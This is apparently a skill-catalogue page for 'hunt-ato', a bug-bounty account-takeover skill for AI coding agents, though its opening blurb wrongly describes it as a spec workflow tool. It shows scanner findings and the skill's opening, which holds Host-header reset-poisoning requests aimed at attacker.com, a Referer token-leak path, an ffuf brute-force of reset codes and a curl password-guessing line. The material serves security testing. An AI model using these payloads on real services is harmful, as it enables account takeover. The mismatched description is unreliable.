Claude Code Spec Workflow is a set of Claude Code commands and agents that organizes software work into documented stages for new features and bug fixes. It is for developers who want Claude Code to handle requirements, design, implementation, issue resolution, and verification through repeatable workflows, with the catalogue entries providing the associated commands and agents.
Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunternpx agentmods add skills/elementalsouls/claude-bughunter/hunt-atoWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/elementalsouls/claude-bughunter/hunt-ato)<a href="https://agentmods.dev/skills/elementalsouls/claude-bughunter/hunt-ato"><img src="https://agentmods.dev/badge/skills/elementalsouls/claude-bughunter/hunt-ato/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/elementalsouls/claude-bughunter/hunt-ato"><img src="https://agentmods.dev/badge/skills/elementalsouls/claude-bughunter/hunt-ato.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 3 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high YARA Match · line 73 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
- medium Data Exfiltration · line 29 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 69 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00241 | $0.03363 |
| Opus 5 | $0.00120 | $0.01682 |
| Sonnet 5 | $0.00048 | $0.00673 |
| Haiku 4.5 | $0.00024 | $0.00336 |
Grade A, and why
hunt-ato scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
t=$(curl -s -o /dev/null -w '%{time_total}' -d "user=victimB&pass=$p" https://target.com/login) Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s https://target.com/.well-known/jwks.json # or /oauth/.well-known/... grab the RSA pub key How it starts
The opening of the file, as written. The whole thing — 141 lines — stays where its author put it; the contents beside it link to each section on GitHub.
13. ATO — ACCOUNT TAKEOVER TAXONOMY
9 distinct paths. ATO is a destination class, not a single bug — each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session/IP/device. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO.
Path 1: Password Reset Poisoning (Host-Header)
POST /forgot-password HTTP/1.1
Host: attacker.com # primary Host swap
# OR keep real Host and add one of:
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
# OR dual-Host smuggling: Host: target.com\r\nHost: attacker.com
[email protected]
The reset mailer builds the link from the request Host header → link points to attacker.com/reset?token=XXXX. Confirmation = OOB, not response-based: point the header at a Burp Collaborator / unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof.
False-positive killer: many apps put attacker.com in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header.
Path 2: Reset Token in Referer / Open-Redirect Leak
GET /reset-password?token=ABC123
→ page loads third-party resource: <script src="https://analytics.com/t.js">
→ browser sends Referer: https://target.com/reset-password?token=ABC123
→ token exfiltrated to every off-origin host the page calls
Also test reset pages that 302 to an open redirect carrying the token in the URL. Proof: capture the outbound request in the Network tab (or Collaborator if you control the off-origin host) showing the full token in the Referer. Mitigated by Referrer-Policy: no-referrer + tokens in POST body — note their absence.
Path 3: Predictable / Weak Reset Tokens
# 6-digit numeric OTP-style reset code, no rate limit:
ffuf -u "https://target.com/api/reset/verify" -X POST \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","code":"FUZZ"}' \
-w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5
# time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictable
Discipline: request the victim-B token yourself (you own B), confirm entropy by sampling, THEN show a fresh brute lands. A rate-limit-only finding on /forgot-password is routinely rejected — the impact is token guessing, not request flooding.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 12d ago First seen · 141 lines · 241 tokens per session scan A f2afcab5682c
hunt-ato is a skill published in the GitHub repository elementalsouls/Claude-BugHunter (4,298 stars, last pushed 7d ago), licensed MIT. It adds 241 tokens to every session and 3,363 once invoked, about $0.0012 per session on Opus 5. A static security scan graded it A with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
web2-vuln-classes
Complete reference for 26 web2 bug classes with root causes, detection patterns, bypass tables, exploit techniques, and real paid examples. Covers IDOR, auth bypass, XSS, SSRF (11 IP bypass techniques), SQLi, business logic, race conditions, OAuth/OIDC, file upload (10 bypass techniques), GraphQL, LLM/AI (ASI01-ASI10…
bug-bounty
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload…
credential-attack
Password spray methodology for bug bounty — when to do it vs web-vuln hunting, the wordlist-gen + breach-check + osint-employees + spray pipeline, mode selection (http-form / oauth / o365 / okta), rate-limit + lockout tactics, BBP legal guardrails, success detection, and the spray → authenticated /hunt chain pattern.…
graphql-audit
GraphQL security hunting — introspection abuse, field suggestion enumeration (clairvoyance), batching DoS, IDOR via aliasing, auth bypass, injection via arguments, subscription abuse, depth/complexity bombs, and WAF bypass. Covers graphw00f fingerprinting, gqlmap, graphql-cop, and inql. Use when a target exposes a…
mobile-pentest
Mobile app pentest for bug bounty (Android APK + iOS IPA) — runtime-first workflow: install app, proxy through Burp/mitmproxy, drive the UI, capture packets, then test the API exactly like a web target; escalate to decompile (apktool/jadx) and Frida/objection only when traffic is SSL-pinned, encrypted, or absent.…
web3-audit
Smart contract security audit — 10 DeFi bug classes (accounting desync, access control, incomplete path, off-by-one, oracle, ERC4626, reentrancy, flash loan, signature replay, proxy), pre-dive kill signals (TVL < $500K etc), Foundry PoC template, grep patterns for each class, and real Immunefi paid examples. Use for…